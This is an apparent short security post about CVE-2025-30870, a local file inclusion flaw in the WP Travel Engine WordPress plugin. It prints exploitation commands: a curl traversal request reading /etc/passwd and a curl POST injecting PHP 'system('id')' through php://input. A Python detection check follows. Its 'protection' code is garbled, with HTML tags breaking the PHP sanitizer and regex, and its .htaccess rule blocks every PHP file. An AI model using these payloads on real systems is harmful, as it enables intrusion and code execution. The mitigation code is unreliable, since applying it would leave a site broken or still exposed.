How CVE-2025-30870 Works
The vulnerability stems from improper sanitization of user-supplied input in WP Travel Engine’s file inclusion functions. Attackers exploit this by manipulating parameters (e.g., $_GET/$_POST) to inject malicious paths, enabling unauthorized access to local files (e.g., /etc/passwd) or remote code execution via PHP wrappers (php://input). The lack of validation allows directory traversal (e.g., ../../../), leading to server compromise.

What Undercode Say:
Exploitation Commands:
1. Basic LFI Test:
curl "http://target.com/?file=../../../../etc/passwd"
2. PHP Wrapper Exploit:
curl -X POST --data "<?php system('id'); ?>" "http://target.com/?file=php://input"
Protection Measures:
1. .htaccess Mitigation:
<FilesMatch "\.(php|inc|log)$"> Order Deny,Allow Deny from all </FilesMatch>
2. PHP Hardening:
// Sanitize input
$file = basename($<em>GET['file']);
if (!preg_match('/^[a-z0-9</em>-]+.php$/i', $file)) {
die("Invalid file");
}
Detection Script (Python):
import requests
vuln_url = "http://target.com/?file=../../../../etc/passwd"
response = requests.get(vuln_url)
if "root:x:" in response.text:
print("[!] Vulnerable to LFI")
